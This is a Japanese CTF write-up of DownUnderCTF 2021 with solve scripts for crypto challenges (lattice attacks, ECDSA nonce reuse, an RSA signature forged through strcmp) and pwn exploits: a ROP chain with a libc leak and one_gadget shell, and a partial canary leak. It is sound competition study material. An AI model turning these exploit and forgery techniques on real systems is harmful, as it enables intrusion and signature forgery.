DownUnderCTF 2021 Writeup

Sun Sep 26 2021

9/24-26 で開催していた DownUnderCTF 2021 にソロで参加しました。結果は 29th/1594 (得点のあるチームのみカウント) でした。

最近では pwn の勉強をしている (https://pwnable.tw/ を埋めていっている) のもあり、今回は crypto に加えて pwn もがんばりました。 pwn は経験が浅いのもあって道半ばで終わってしまうのが多かったです…けれど惜しいところまで解けてる問題もあり、力はついていそう。全体を通して若干 guessing が要求される問題がありましたが、基本的にどれも面白かったです。特に joseph-san の問題はカテゴリーを問わずよかった。

100solves 以下の解けた問題についての writeup です。

Crypto

1337crypt v2

3 solves

1337crypt-v2.sage
from Crypto.Util.number import getPrime, bytes_to_long

flag = open('flag.txt', 'rb').read().strip()

p, q = getPrime(1337), getPrime(1337)
n = p*q

K.<z> = NumberField((x-p)^2 + q^2)
hint1 = p^2 + q^2
hint2 = []

l = 1+337
for _ in range(1*3*3-7):
    a, b = getrandbits(1337), getrandbits(1337)
    x = K(a + getrandbits(l)/2^l) + K(b + getrandbits(l)/2^l)*z
    y = x*x.conjugate()
    hint2.append((int(y), a, b))

Zn.<I> = (ZZ.quo(n*ZZ))[]
ZnI.<I> = Zn.quo(I^2 + 1)

m = randrange(1, n) + bytes_to_long(flag) * I
c = pow(m, 0x1337)

print(f'hint1 = {hint1}', f'hint2 = {hint2}', f'c = {c}', sep='\n')

数学的に慣れない概念がたくさん… まず暗号文 c に注目すると、実部と虚部それぞれについて mod $n$ を取り、 $m^e$ ( $e=\mathrm{0x1337}$ ) を計算しています。 RSA をガウス整数に拡張したような感じです。この話については以前 CryptoHack の tetctf writeup に書いてあるのを読んだ覚えがあったので見返してみると、とりあえず $p$ や $q$ を求められれば RSA と同じように秘密鍵 $d$ が計算できるっぽいです。なので当面は $p, q$ を求めることに専念します。

そのために用意されているのが hint1, hint2 です (以下 hint1 = $h$ とする)。 $h = p^2 + q^2$ です。 hint2 は $y = \lfloor\mathrm{Norm}(a + r/2^l + (b + s/2^l)z)\rfloor$ が2種類格納されています。 $y, a, b, l$ が既知で $r, s, z$ が未知です。 $r, s$ は getrandbits(l) で生成された乱数です。 $z$ は気持ち的には $z = p + iq$ とみなしてよく、このノルムの計算を変形すると、

(a2^l + r)^2 + 2(a2^l + r)(b2^l + s)p + (b2^l + s)^2h = y2^{2l} + t

となります。 $t$ は int で切り捨てられた値です。

この式は各項で大きさが全然異なることに気づきます。そこで値の大きい項のみを残し、LLL が使えるよう線形になるように書き表しました。

\lfloor(y2^{l} - b^2h2^l - a) / (ab2^{l+1})\rfloor - \lfloor h / (a2^{l})\rfloor s = p + t'

$t'$ は337bit程度です (自前でこれらの値を生成して確認した)。この関係式が2つあるので、 LLL で $p$ を解きました。

lll.sage
y1, a1, b1 = hint2[0]
y2, a2, b2 = hint2[1]

# [s1, s2, p, 1]
mat = matrix(ZZ, 4, 4)
mat[0, 0] = 1
mat[1, 1] = 1
mat[0, 2] = hint1//(a1*2**l)
mat[2, 2] = 1
mat[3, 2] = -(y1*2**l - b1**2*hint1*2**l - a1)//(a1*b1*2**(l+1))
mat[1, 3] = hint1//(a2*2**l)
mat[2, 3] = 1
mat[3, 3] = -(y2*2**l - b2**2*hint1*2**l - a2)//(a2*b2*2**(l+1))
V = mat.LLL()
C = mat.solve_left(V)
s1, s2, _, _ = C[1]  # C[1][2] は p のはずだが、近似がとても悪いので破棄
p_approx = (y1*2**l - b1**2*hint1*2**l - a1)//(a1*b1*2**(l+1)) - hint1*int(s1)//(a1*2**l)

ところが近似をしすぎたせいか、これで求まる $p$ は実際の値から若干ずれていました。自前で生成した値で確認すると、100程度はずれます。そのためここで求まった $p$ の値を中心に $n - p^2 = q^2$ となる整数 $q$ が存在するかをチェックしていきました。

base_p = p_approx - 500
for i in range(1000):
    tmp_p = base_p + i
    tmp_q = int(sqrt(hint1 - tmp_p**2))
    if tmp_p **2 + tmp_q ** 2 == hint1:
        print(tmp_p, tmp_q)
        p = tmp_p
        q = tmp_q
        break

これで $p, q$ が求まりました。あとはガウス整数での RSA をするだけです。ちょっと原理はわかっていないのですが、 $\phi = (p^2 - 1)(q^2 - 1)$ として秘密鍵 $d$ を $d = e^{-1} \mod \phi$ で計算すれば、 $m = c^d \mod n$ で復号できるみたいです。

rsa.sage
n = p*q
Zn.<I> = (ZZ.quo(n*ZZ))[]
ZnI.<I> = Zn.quo(I^2 + 1)
c**int(pow(0x1337, -1, ((p**2-1)*(q**2-1))))

復号結果の虚部がフラグとなっています。

DUCTF{mantissa_in_crypto??_n0_th4nks!!}

OTWhat 2

5 solves https://EVILCODE/ に対して ECDSA (p-256) の署名が作れれば勝ちです。いくつか URL-署名のペアが与えられています。

署名の parse

与えられている署名は謎の形式になっています。いやきっと現実の ECDSA で使われている形式なんだろうけど、自分は現実世界の crypto を知らないので… b"0E" から始まるものもあれば b"0D" から始まるのもあり、 b"\x02!\x00" の後が $r, s$ の値っぽい？と思ったら b"\x02 " の後にあったり… 調べるのが億劫だったので、なんとなくで parse していきました。上手くいっているかは公開鍵 $P$ が一意に定まるかでチェックしました。沼にハマらなくてよかった…

parse_sign.sage
p = 2**256 - 2**224 + 2**192 + 2**96 - 1
a = -3
b = 41058363725152142129326129780047268409114441015993725554835256314039467401291
g = (48439561293906451759052585252797914202762949526041747995844080717082404635286, 36134250956749795798585127919587881956611106672985015071877198253568414405109)
EC = EllipticCurve(GF(p), [a, b])
G = EC(g)
n = 0xffffffff00000000ffffffffffffffffbce6faada7179e84f3b9cac2fc632551

raw_data = [
    ("https://GOODCODE/update/abcd0b64039c6eff5a1cbf50f24eb6c62f25f8f39da28fdc112433b93ada6018",
    "MEUCIQDygJ+KOWKxMIomSm4ejoR75yQiGRebnTIecMz+vAaLZgIgFlRE1/i/oP0IrSKy/jZhEanzrFDCK8siRsELIOrGxlA="),
    ...
]

data = []
for raw in raw_data:
    url = raw[0].encode()
    sign = raw[1].encode()
    tmp = b64decode(sign)
    print(len(tmp), tmp)
    h = bytes_to_long(sha3_512(url).digest()[:32])
    if len(tmp) == 72:
        r = bytes_to_long(tmp[5:37])
        s = bytes_to_long(tmp[40:72])
        data.append((h, r, s))
    elif len(tmp) == 71:
        idx1 = tmp.index(b"\x02!\x00")
        skip1 = 3
        idx2 = tmp.index(b"\x02 ")
        skip2 = 2
        if idx1 > idx2:
            idx1, idx2 = idx2, idx1
            skip1, skip2 = skip2, skip1
        r = bytes_to_long(tmp[idx1+skip1:idx1+skip1+32])
        idx = tmp.index(b"\x02 ")
        s = bytes_to_long(tmp[idx2+skip2:idx2+skip2+32])
        data.append((h, r, s))
    elif len(tmp) == 70:
        idx1 = tmp.index(b"\x02 ")
        idx2 = tmp.rindex(b"\x02 ")
        r = bytes_to_long(tmp[idx1+2:idx1+34])
        idx = tmp.index(b"\x02 ")
        s = bytes_to_long(tmp[idx2+2:idx2+34])
        data.append((h, r, s))

# 以下を実行して一番多かった点を公開鍵とする (適当すぎるが)
"""
for h, r, s in data:
    c = pow(s, -1, n)
    u1 = h * c
    u2 = r * c
    int(pow(u2, -1, n)) * (EC.lift_x(Integer(r)) - int(u1) * G)
"""

P = EC(47554471690996962113379253321322669494542858433162751573721117116112284979595, 40597206234212005901461215848928857627385739413715941748129795899357037208631)

# check P is correct
for h, r, s in data:
    c = pow(s, -1, n)
    u1 = h * c
    u2 = r * c
    tmp = int(u1) * G + int(u2) * P
    assert tmp[0] == r

small k?

parse できてからが本番です。この問題にはソースコードもなく、明示的な脆弱性がない状況でしたので、思いつく脆弱性をしらみつぶしに試していきます。

まずは署名の nonce である $k$ が小さいケースを考えました。もしそうであれば hidden number problem として解くことができます。

結果としては違いましたがね！

small_k.sage
hash_list = []
r_list = []
s_list = []
for h, r, s in data:
    hash_list.append(h)
    r_list.append(r)
    s_list.append(s)

for b in range(10, 256, 5):
    print(b)
    B = 2**b
    M = Matrix(QQ, len(hash_list)+1, len(hash_list)+1)
    for i in range(len(hash_list)-1):
        M[i, i] = n
        M[len(hash_list)-1, i] = pow(s_list[i+1], -1, n) * r_list[i+1] * s_list[0] * pow(r_list[0], -1, n) % n
        M[len(hash_list), i] = (pow(s_list[i+1], -1, n) * hash_list[i+1] - pow(s_list[i+1], -1, n) * r_list[i+1] * pow(r_list[0], -1, n) * hash_list[0]) % n
    M[len(hash_list)-1, len(hash_list)-1] = QQ(B) / QQ(n)
    M[len(hash_list), len(hash_list)] = QQ(B)
    V = M.LLL()
    for i in range(len(hash_list)+1):
        d = int((int(s_list[1] * V[i][0]) - int(hash_list[1])) * pow(r_list[1], -1, n) % n)
        if (d * G).xy()[0] == P.xy()[0]:
            print("found!")
            print(d)

404 not found

同じ k が使われている

$k$ の生成方法を特定するのは流石にきつそうなので、同じ $k$ が使われている (同じ $r$ が存在する) かを確認しました。ありました。

for i in range(m):
    for j in range(i+1, m):
        if r_list[i] == r_list[j]:
            print(i, j)
# 5, 13 が k 一緒

このような場合、 $k$ → $d$ と順に求められます。

k = (hash_list[5] - hash_list[13]) * pow(s_list[5] - s_list[13], -1, n)
d = int((s_list[5] * k - hash_list[5]) * pow(r_list[5], -1, n))

あとは署名を作るだけなのですが、法則を完全に見抜けてはいないので、 b"0D\x02 {r}\x02 {s}" の形式の署名が通るまで $k$ を変えていきました。

sign.sage
url_evil = b"https://EVILCODE/"
h_evil = bytes_to_long(sha3_512(url_evil).digest()[:32])
k = 8
tmp = k * G
r_evil = int(tmp.xy()[0])
s_evil = int(int(pow(k, -1, n)) * (h_evil + r_evil * d)) % n

c = pow(s_evil, -1, n)
u1 = h_evil * c
u2 = r_evil * c
tmp = int(u1) * G + int(u2) * P
assert tmp[0] == r_evil

b64encode(b"0D\x02 " + long_to_bytes(r_evil) + b"\x02 " + long_to_bytes(s_evil))

DUCTF{27C3 Console Hacking 2010 (PS3 3p1c F41l)}

OTWhat 1

12 solves RSA の署名の問題。 easy タグがつけられているのにこの solves 数である…

とはいえ RSA の公開鍵すら配布されていません。困って Chrome の inspector を見てみると、 Update したときに公開鍵と署名の一致の比較をしている箇所のソースコードが表示されていました。

<!-- DEBUG
OEM Key: 
-----BEGIN PUBLIC KEY-----
...
-----END PUBLIC KEY-----

update.c:69:main(): strcmp(hash, &decrypted_signature[512 - 64]) = 0
-->

これで公開鍵は手に入りました。例えば $e = 3$ のように小さければ Bleichenbacher の方法を使って署名を偽造することができます。ですが今回は $e = 65537$ なのでできません。また $N$ についても素因数分解できないか試しましたが厳しそうでした。

ここで strcmp で比較していることに注目します。 strcmp は \0 が現れるまで文字列の比較をします。strcmp で悪さをすることを考えるならば、 hash の最初の文字と &decrypted_signature[512-64] の最初の文字がどちらも \0 とすれば一致と判定されることでしょう。これを利用できないかなと思って問題文を熟読すると、 https://EVILCODE/ から始まる任意の URL で OK とのことでした (これに全然気づかなくて沼にハマっていた、自分の英語読解力の低さを恨む)。 URL に適当な文字を足してハッシュの最初の文字が \0 となるものと、 $m^e \mod N$ の 512-64 文字目が \0 となる $m$ をそれぞれしらみつぶしに探します。1/256 程度の確率で見つかるはず。

solve.py

url_evil = b"https://EVILCODE/"

for i in range(32, 128):
    for j in range(32, 128):
        tmp = url_evil + chr(i).encode() + chr(j).encode()
        url_hash_evil = sha3_512(tmp).digest()
        if url_hash_evil[0] == 0:
            print("found")
            print(tmp)
            break

# https://EVILCODE/Ia

for i in range(2, 256**2):
    tmp = long_to_bytes(pow(i, e, n))
    if tmp[-64] == 0:
        print("found")
        print(b64encode(int(i).to_bytes(512, "big")))

# AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB6s=

DUCTF{https://wiibrew.org/wiki/Signing_bug#L0L_memcmp=strcmp}

yadlp

14 solves

yadlp.sage
def G_add(A, B):
    x1, y1 = A
    x2, y2 = B
    return ((x1*x2 + D*y1*y2) % p, (x1*y2 + x2*y1 + 2*y1*y2) % p)

def G_mul(A, k):
    out = (1, 0)
    while k > 0:
        if k & 1:
            out = G_add(out, A)
        A = G_add(A, A)
        k >>= 1
    return out

def rand_element():
    while True:
        x = randint(1, p-1)
        d = x^2 * (D + 1) - D
        if (x & 1 == d & 1) and kronecker(d, p) == 1:
            y = (x + sqrt(Zmod(p)(d))) * inverse_mod(D, p) % p
            return (x, y)

D = 13337
p = 17568142778435152362975498611159042138909402642078949814477371651322179417849164549408357464774644525711780515232117470272550677945089719112177956836141583
assert p.nbits() >= 512
assert ((p-1)//2).is_prime() # safe prime

FLAG = open('flag.txt', 'rb').read().strip()
assert len(FLAG) % 8 == 0
M = [int.from_bytes(FLAG[i:i+8], 'big') for i in range(0, len(FLAG), 8)]

G = [rand_element() for _ in M]
c = (1, 0)
for m, gi in zip(M, G):
    c = G_add(c, G_mul(gi, m))

print(f'{D = }')
print(f'{p = }')
print(f'{G = }')
print(f'{c = }')

Ellipse Curve 上の加群 (?) についての問題。

式が群になっているかは判断つかなかったので G_add, G_mul を適当にいじって加群になっていることを確認しました。問題文中に

assert ((p-1)//2).is_prime() # safe prime

とあるので order は $p-1$ なのかなと思って G_mul(..., p-1) を計算してみましたが、期待通りの結果にならず…適当に $p, p+1$ を試してみると order が $p+1$ であることがわかりました。なるほど？と思い $p+1$ を素因数分解をしてみると小さい素数の積になっていることが確認されました。 order がこのような数ならば Pohlig-Hellman で離散対数問題を解くことができます。

Pohlig-Hellman でまずは $\log_c G_i$ をそれぞれ求めます。これは LLL を使って $M$ を復号するためです。

dlp.sage
def G_inv(A):
    return G_mul(A, p)


def bsgs(g, h, n):
    """return x s.t. g^x = h"""
    m = ceil(sqrt(n))
    table = {}
    for j in range(m):
        table[G_mul(g, j)] = j
    factor = G_mul(G_inv(g), m)
    gamma = h
    for i in range(m):
        if gamma in table:
            j = table[gamma]
            ret = i * m + j
            assert G_mul(g, ret) == h
            return ret
        gamma = G_add(gamma, factor)

O = (1, 0)

def calc_order(g):
    order = p + 1
    for pi, e in list(factor(order)):
        for i in range(1, e+1):
            if G_mul(g, order // pi) == O:
                order //= pi
    return order


def pohlig_hellman(g, h):
    a_list = []
    b_list = []
    order = calc_order(g)
    for pi, e in list(factor(order)):
        gi = G_mul(g, order // pi ** e)
        hi = G_mul(h, order // pi ** e)
        gamma = G_mul(gi, pi ** (e - 1))
        xk = 0
        for k in range(e):
            hk = G_mul(G_add(G_mul(G_inv(gi), xk), hi), (pi ** (e - 1 - k)))
            dk = bsgs(gamma, hk, pi)
            xk = xk + pi ** k * dk
        xi = xk
        a_list.append(xi)
        b_list.append(pi ^ e)
    return crt(a_list, b_list)


ds = [pohlig_hellman(c, gi) for gi in G]

これで、 $\sum_i d_im_i = 1 \mod p+1$ ( $d_i$ は上記で求めた ds の各要素、 $m_i$ はフラグを8bytesごとに区切ったもの) という形になりました。この式と $m_i < 256^8$ と小さいことを利用して格子を組みます (下記コード参照)。この格子 $L$ の $\det(L)^{1/7}$ は74bitsでした。 $m_i$ が64bits なことを考えると LLL で十分に解けそうです。

lll.sage
# [q, m1, m2, ..., m6]
mat = matrix(ZZ, 7, 7)
mat[0, 0] = -(p+1)
for i in range(1, 7):
    mat[i, 0] = ds[i-1]
    mat[i, i] = 1
C = mat.LLL()
ms = mat.solve_left(C[0])
b"".join(long_to_bytes(m) for m in ms)

DUCTF{a_1337_hyp3rb0la_m33ts_th3_mult1pl3_DLP!!}

power sign

14 solves

power-sign.sage
#!/usr/bin/env sage

proof.arithmetic(False) # just makes things faster

def get_3m4_prime(N):
    while True:
        p = random_prime(2^N - 1, lbound=2^(N-1))
        if p % 4 == 3:
            return p

def generate_key(L, n, m):
    p = get_3m4_prime(L//2)
    q = get_3m4_prime(L//2)
    N = p*q
    r = next_prime(N)
    F.<x> = PolynomialRing(GF(r))
    K = F.quo(F.irreducible_element(n))
    return (K, m), N, (p, q)

def H(params, msg, u):
    K, m = params
    r, z = K.characteristic(), K.gens()[0]
    h = 0
    while msg > 0:
        h *= z
        h += msg % r
        msg //= r
    h += z*u
    for _ in range(m):
        h ^= r
    assert len(list(h)) != 0
    return int(h[0])

def sign(params, privkey, msg):
    p, q = privkey
    u = 1
    while True:
        c = H(params, msg, u) % (p*q)
        if legendre_symbol(c, p) == legendre_symbol(c, q) == 1:
            break
        u += 1
    xp = pow(c, (p+1)//4, p)
    xq = pow(c, (q+1)//4, q)
    x = crt([int(xp), int(xq)], [p, q])
    return x, u

def verify(params, pubkey, msg, sig):
    N = pubkey
    x, u = sig
    c = H(params, msg, u)
    return x^2 % N == c % N

def main():
    print('Welcome to the game. To get the flag, give me a message to sign, then sign a random message of mine!')
    FLAG = open('./flag.txt', 'r').read().strip()

    L, n, m = 1024, 15, 3
    params, pubkey, privkey = generate_key(L, n, m)
    print('N:', pubkey)

    msg = int(input('message (in hex): '), 16)
    if msg < pubkey^m:
        print('That message is too small!')
        exit()
    if msg > pubkey^n:
        print('That message is too big!')
        exit()
    x, u = sign(params, privkey, msg)
    print('x:', x)
    print('u:', u)

    auth_msg = randint(1, pubkey^5)
    print('Now sign', hex(auth_msg))
    x = int(input('x: '))
    u = int(input('u: '))

    if verify(params, pubkey, auth_msg, (x, u)):
        print(FLAG)
    else:
        print('Incorrect!')

if __name__ == '__main__':
    main()

独自ハッシュ関数を使った署名を通す問題。

def verify(params, pubkey, msg, sig):
    N = pubkey
    x, u = sig
    c = H(params, msg, u)
    return x^2 % N == c % N

これを通す $x, u$ を見つけます。 H 内部の式の詳細はあまり追わずにいろいろ実験していたところ、 H(params, msg, u+1) - H(params, msg, u) が u によらずに一定であることがわかったため、 H(params, msg, u) == 1 となる u を計算し、 x == 1 とすれば署名が通ります。雑な解き方で出題者に申し訳ない…

solve.sage
from pwn import remote


L, n, m = 1024, 15, 3

io = remote("pwn-2021.duc.tf", 31912)
io.recvuntil("N: ")
N = int(io.recvline())

r = next_prime(N)
# なんでもいい
io.sendlineafter("(in hex): ", str(r**3))

F.<x> = PolynomialRing(GF(r))
K = F.quo(F.irreducible_element(n))
params = (K, m)

io.recvuntil("Now sign ")
auth_msg = int(io.recvline(), 16)
diff = H(params, 0, 1)
tmp = H(params, auth_msg, 0)
u = (1-tmp) * pow(diff, -1, r)

io.sendlineafter("x: ", b"1")
io.sendlineafter("u: ", str(u))

io.recvall()

DUCTF{lets_us3_a_pr0p3r_h4sh_function_n3xt_t1me...}

競技終了後に twitter で kurenaif-san や rkm-san に教えてもらったのですが、フロベニウス写像になっていたみたいです。なるほどなあ。

Secuchat

32 solves sqlite の db ファイルが配布されます。RSA の公開鍵と、 AES の key を RSA で暗号化したものと、 AES で暗号化されたメッセージが含まれています。取っ掛かりがわからなかったので、とりあえず RSA の複数ある公開鍵について gcd を計算してみたところ、一部の公開鍵で同じ素数が使われていることがわかりました。初手でわかってよかった…

これでその一部の RSA 鍵については復号ができるので、その鍵で AES の key を復号→メッセージの復号をしてみたら、フラグが得られました。

solve.py
import sqlite3

from Crypto.Cipher import AES, PKCS1_OAEP
from Crypto.PublicKey import RSA
from Crypto.Util.number import bytes_to_long, long_to_bytes

con = sqlite3.connect("./secuchat.db")
cur = con.cursor()

cur.execute("select username, rsa_key from user")
tmp = cur.fetchall()

ns = []
es = []
for t in tmp:
    rsa = RSA.import_key(t[1])
    ns.append(rsa.n)
    es.append(rsa.e)

for i in range(len(tmp)):
    for j in range(i+1, len(tmp)):
        g = gcd(ns[i], ns[j])
        if g > 1:
            print(i, j, g)
# ns[1], ns[23] の gcd が 1 こえ
# 1: hortonashley, 23: eriksaunders
p1 = gcd(ns[1], ns[23])
p23 = p1
q1 = ns[1] // p1
q23 = ns[23] // p23
phi1 = (p1 - 1) * (q1 - 1)
e = 65537
d1 = pow(e, -1, phi1)

rsa1 = RSA.construct((ns[1], e, d1))
cipher = PKCS1_OAEP.new(rsa1)

# conversation=46 で initiator=hortonashley, initial_parameters=328
cur.execute("SELECT * FROM Message WHERE conversation=46")
conv_init_1 = cur.fetchall()
parameters = list(range(328, 328+len(conv_init_1)))
aes_keys = []
ivs = []
for parameter in parameters:
    cur.execute("SELECT * FROM Parameters WHERE id=?", (parameter,))
    tmp = cur.fetchall()
    init_enc_key = tmp[0][1]
    iv = tmp[0][-1]
    init_key = cipher.decrypt(init_enc_key)
    aes_keys.append(init_key)
    ivs.append(iv)

for i in range(len(conv_init_1)):
    aes = AES.new(aes_keys[i], AES.MODE_CBC, ivs[i])
    print(aes.decrypt(conv_init_1[i][-1]))

DUCTF{pr1m1t1v35, p4dd1ng, m0d35- wait, 3n7r0py?!}

Pwn

ready, bounce, pwn!

41 solves

TODO: とりあえずコードを貼ったが後でいろいろ書く

solve.py
from pwn import *

elf = ELF("./rbp")
REMOTE = True

if REMOTE:
    libc = ELF("./libc.so.6")
    io = remote("pwn-2021.duc.tf", 31910)
else:
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    # io = process("./rbp")
    io = remote("localhost", 1337)

io.sendafter("name? ", p64(0x7ffffffff000) + p64(elf.symbols["main"]+1) + p64(elf.symbols["main"]+1))  # ret
io.sendafter("number? ", b"-32".ljust(8, b"\x00") + p64(0x00000000004012ac) + b"\x00"*3)

io.sendafter("name? ", p64(0x00000000004012b3) + p64(elf.got["puts"]) + p64(elf.symbols["puts"]))  # pop rdi ; ret
io.sendafter("number? ", b"-40".ljust(8, b"\x00") + p64(0x00000000004012ac) + b"\x00"*3)

addr_got_puts = u64(io.recvline().strip().ljust(8, b"\x00"))
libc.address = addr_got_puts - libc.symbols["puts"]
print(f"{hex(libc.address) = }")

offset_one_gadget = 0xde78c
io.sendafter("name? ", p64(0x00000000004012b2) + p64(0) + p64(libc.address + offset_one_gadget))  # pop r15 ; ret
io.sendafter("number? ", b"-80".ljust(8, b"\x00") + p64(0x00000000004012ac) + b"\x00"*3)  # pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret

io.interactive()

競技時間中に解けなかった問題 (復習含む)

Crypto

Substitution Cipher III

1 solves

TODO: Matsumoto-Imai Cryptosystem のお勉強

Pwn

encrypted note

22 solves

win 関数が存在することに気づかなかった悔しい…

とりあえず競技中のコードを貼っておきます。ELF のベースアドレスと canary はリークできていたけど、意識が ROP に行ってしまい、 ROP をするには null を上手く回避する方法が必要だけど思いつかず撤退してしまいました。 win に飛べばよかったんや…

solve.py
from pwn import *

context.log_level = "DEBUG"
elf = ELF("./encrypted_note")
# io = remote("localhost", 1337)
io = process("./encrypted_note")

def leak_X():
    io.sendafter(b"> ", b"1")
    io.sendafter(b"contents: ", b"ABCDEFGH")
    io.sendafter(b"> ", b"2")
    ret = io.recvline().strip()
    assert len(ret) == 16
    output = u64(unhex(ret))
    # X = output ^ 0x4847464544434241
    X = output ^ u64(b"ABCDEFGH")
    return X

M = 256 ** 8
Xs = []
for _ in range(3):
    X = leak_X()
    Xs.append(X)
print(Xs)
A = (Xs[2] - Xs[1]) * pow(Xs[1] - Xs[0], -1, M) % M
B = (Xs[1] - A*Xs[0]) % M
print(f"{hex(A) = }, {hex(B) = }")

# c 6

X = Xs[-1]

def next_X(X):
    return (A * X + B) % M


def write(value: bytes, X: int) -> int:
    assert len(value) % 8 == 0
    payload = b""
    for i in range(0, len(value), 8):
        X = next_X(X)
        payload += p64(X ^ u64(value[i: i+8]))
    io.sendafter(b"> ", b"1")
    io.sendafter(b"contents: ", payload)
    return X


def append(value: bytes, X: int) -> int:
    assert len(value) == 8 and value[-1] == 0
    X = next_X(X)
    payload = p64(X ^ u64(value))
    io.sendafter(b"> ", b"3")
    io.sendafter(b"append: ", payload)
    return X


def multi_append(value: bytes, X: int) -> int:
    # assert len(value) % 8 == 0
    if len(value) % 6 != 0:
        value += b"\x00" * (6 - len(value) % 6)
    for i in range(0, len(value), 6):
        if i == len(value) // 6 * 6:
            X = append(value[i: i+7]+b"\x00"*1, X)
        else:
            X = append(value[i: i+6]+b"\x00"*2, X)
    return X


X = write(b"A"*0x51 + b"\x00"*7, X)
# c 7

X = next_X(X)
io.sendafter(b"> ", b"3")
io.sendafter(b"append: ", b"A"*8)
# c 8

io.sendafter(b"> ", b"2")
ret = unhex(io.recvline().strip())
canary = b"\x00" + ret[0x59: 0x60]
print(f"{canary = }")
fake_canary = b"\xff" + canary[1:]
# c 9


def fix_canary_lsb(X) -> int:
    tmp_X = X
    cnt = 0
    while True:
        tmp_X = (A * tmp_X + B) % M
        cnt += 1
        if tmp_X < 256**7 and cnt >= 0x58 // 8 + 1:
            break

    print(f"needed {cnt = }")
    print(f"c {cnt-10}")
    for _ in range(cnt-0x58//8-1):
        X = write(b"A"*0x8, X)
        print(hex(X))

    X = write(b"A" * 0x51 + b"\x00" * 7, X)
    print(hex(X))
    X = append(b"A"*7 + b"\x00", X)
    print(hex(X))
    return X


X = write(b"\xff" * 0x51 + b"\x00"*7, X)
# c 10


payload = b"\xff" * 0x7
payload += fake_canary

X = multi_append(payload, X)
X = append(b"\xff"*7+b"\x00", X)

io.sendafter(b"> ", b"2")
ret = io.recvline().strip()
addr_main = u64(ret[104:].ljust(8, b"\x00")) - 24
elf.address = addr_main - elf.symbols["main"]
print(f"{hex(elf.address) = }")